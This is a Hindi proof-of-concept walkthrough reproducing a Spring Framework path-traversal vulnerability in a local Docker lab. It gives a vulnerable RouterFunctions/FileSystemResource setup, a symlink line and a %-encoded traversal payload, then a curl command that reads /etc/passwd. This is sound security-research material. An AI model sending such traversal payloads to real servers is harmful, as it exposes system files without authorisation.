1. भेद्यता को Spring Framework 6.1.13 में पैच किया गया था, जैसा कि रिलीज़ नोट्स द्वारा पुष्टि की गई है।

2. रिलीज़ नोट्स और संबंधित कमिट लॉग की समीक्षा करने पर, मैंने निम्नलिखित दो मुद्दों को इस भेद्यता से संभावित रूप से जुड़ा हुआ पाया है:

   • Issue #33424: सिम्बोलिक लिंक से संबंधित एक नया विकल्प जोड़ा गया।
     • संबंधित कमिट: 5d80d75051f395c17f6b9367e267d458585b336d
   • Issue #33434: %-एन्कोडेड वर्णों को सैनिटाइज़ करने के कोड को संशोधित किया गया।
     • संबंधित कमिट: d86bf8b2056429edf5494456cffcb2b243331c49

3. सुरक्षा सलाहकार के अनुसार, हमले के सफल होने के लिए निम्नलिखित शर्तों को पूरा करने की संभावना है:

   • RouterFunctions का उपयोग किया जाता है
   • FileSystemResource का उपयोग किया जाता है
   • सिम्बोलिक लिंक मौजूद हैं
   • हमले में %-एन्कोडेड वर्ण शामिल हैं

वातावरण सेटअप

भेद्यता को पुनः उत्पन्न करने के लिए Docker वातावरण का उपयोग किया जाता है।

1. RouterFunction और FileSystemResource का उपयोग करके स्टैटिक फ़ाइल रूटिंग सेट करने के लिए निम्न कोड के साथ PathTraversalDemoApplication.java बनाएं:

   root@kitploit:~

   public RouterFunction<ServerResponse> staticResourceRouter() {
       return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
   }
   

2. सिम्बोलिक लिंक बनाने के लिए Dockerfile में निम्न कमांड जोड़ें:

   root@kitploit:~

   RUN ln -s /static /app/static/link
   

3. सिम्बोलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए %-एन्कोडिंग का लाभ उठाने वाला एक पेलोड बनाएं।

   • पथ: /static/link/%2e%2e/etc/passwd

4. PoC को निष्पादित करने और यह सत्यापित करने के लिए कि हमला सफल है या नहीं, निम्न curl कमांड का उपयोग करें:

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।

अस्वीकरण

यह PoC शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। किसी वास्तविक सिस्टम में इसका उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता को ठीक कर दिया गया है और आपके पास उचित अधिकार है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।